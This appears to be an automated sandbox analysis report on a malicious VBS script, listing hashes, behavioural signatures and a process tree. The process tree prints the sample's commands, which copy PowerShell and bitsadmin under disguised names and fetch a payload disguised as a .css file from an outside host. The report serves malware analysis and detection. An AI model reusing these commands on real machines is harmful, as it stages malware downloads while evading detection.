Analysis
- max time kernel
64s - max time network
87s - platform
windows10-2004_x64 - resource
win10v2004-20220331-en - submitted
28/03/2022, 04:01
Static task
static1
Behavioral task
behavioral1
Sample
23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs
Resource
win7-20220310-en
0 signatures
0 seconds
General
- Target 23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs
- Size 6KB
- Sample220328-elfcwsccaq
- SHA256 23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631
- MD5 31f505685ab56e105729d6a60a7a6984
- SHA1 1f6fb6b55cd9fbd42b0ca0ec5f8227d9f6973255
- SHA512 b1baaf13e79f3ef6000510ff4c2e90373105b7a8ffd53b3f9b06e2ae824c562f9e287e5319f2699a331de10717d65775307fb1e006b3d14d19cb82b5a39d119d
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 4648 YVxNfVgin.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-157025953-3125636059-437143553-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4636 wrote to memory of 504 4636 WScript.exe 78 PID 4636 wrote to memory of 504 4636 WScript.exe 78 PID 504 wrote to memory of 1580 504 cmd.exe 80 PID 504 wrote to memory of 1580 504 cmd.exe 80 PID 504 wrote to memory of 1904 504 cmd.exe 81 PID 504 wrote to memory of 1904 504 cmd.exe 81 PID 4636 wrote to memory of 4648 4636 WScript.exe 82 PID 4636 wrote to memory of 4648 4636 WScript.exe 82 PID 4636 wrote to memory of 4648 4636 WScript.exe 82
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\23f49debee62d2ea96d91c2cf8c68e7f4bb16827696e4586b3e979be84bca631.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4636 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\ztAXz.exe3⤵PID:1580
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YVxNfVg*.exe3⤵PID:1904
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C:\ProgramData\YVxNfVgin.exe"C:\ProgramData\YVxNfVgin.exe" /transfer HYlQgP /download https://fhivelifestyle.online/lidepato/MLIMNT54C54F979H/1x1.css C:\Users\Admin\AppData\Roaming\1x1.css2⤵
- Executes dropped EXE
PID:4648
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
- Path C:\ProgramData\YVxNfVgin.exe
- Size 182KB
- SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
- MD5 f57a03fa0e654b393bb078d1c60695f3
- SHA1 1ced6636bd2462c0f1b64775e1981d22ae57af0b
- SHA512 7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
- SSDEEP 3072:845J3+Yf8tEONgW6YPdVI3f60nAufMGeCEC1Q0jon3YR:FWzPg3f3nNfiCf9cI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\YVxNfVgin.exe
- Size 182KB
- SHA256 c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
- MD5 f57a03fa0e654b393bb078d1c60695f3
- SHA1 1ced6636bd2462c0f1b64775e1981d22ae57af0b
- SHA512 7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
- SSDEEP 3072:845J3+Yf8tEONgW6YPdVI3f60nAufMGeCEC1Q0jon3YR:FWzPg3f3nNfiCf9cI
- MD5 SHA1 SHA512 SSDEEP